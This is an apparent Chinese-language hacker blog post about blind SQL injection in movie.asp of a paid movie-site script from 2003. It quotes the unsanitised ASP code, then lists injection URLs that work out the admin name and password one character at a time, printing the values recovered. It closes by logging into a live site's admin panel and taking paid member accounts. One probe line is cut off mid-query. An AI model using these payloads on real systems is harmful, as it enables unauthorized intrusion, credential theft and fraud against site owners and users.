近日學習sql injection,下載金梅收費電影程序2003會員版看了一通, 發現movie.asp這個文件有問題:
dim sql
dim rs
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+1 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1
title=rs("title")
ittype=rs("typeid")
沒有對變量做任何檢查,那就別怪我了,呵呵,找了個目標網站,
我們開始測試管理員帳號的位數,因為保存管理員帳號的字段名為name,所以語句為:
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>4)
正常返回頁面,由此我們可以知道管理員的帳號是大于4位的!
我們繼續,
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)>
"無法顯示網頁",出錯了,由此我們可以知道管理員的帳號是大于等于8位的
我們再來,
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(name)=8)
正常返回頁面,好極了,由此得出
name為8位
同樣
http://www.target.com/movie.asp?id=330 and 1=(select id from password where len(pwd)=21)
正常返回頁面
pwd為21位,TNND的,這么長!
不管了,我們接下來開始測試管理員的用戶名
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>50)
正常返回頁面,看來還不夠大.
注:mid函數可以把密碼分成若干部分取出,使用方法 mid(字符串,起始位,取出的字符串的長度)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))>100)
"無法顯示頁面",看來比100還小.
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(name,1,1))=100)
正常返回頁面,于是我們可以得到管理員的用戶名第一位的asc碼為:100
通過查詢asc碼表可以得到,
name的第一位為:d
接下來順利的得到了name=darkeyes^
然后我們開始測試pwd,呼,有21位啊,真是路漫漫其修遠啊!:)
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>100)
正常顯示頁面,再來
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))>110)
"無法顯示頁面",比110小哦,呵呵
http://www.target.com/movie.asp?id=320 and 1=(select id from password where asc(mid(pwd,1,1))=102)
正常顯示頁面,對了,得到
pwd的第一位為:f
最后順利的得到了
pwd=xyfsdb7ew8y654231123d
找到管理頁面,登錄進去,拿了幾個黃金會員的帳號,就去慢慢欣賞movies了,呵呵。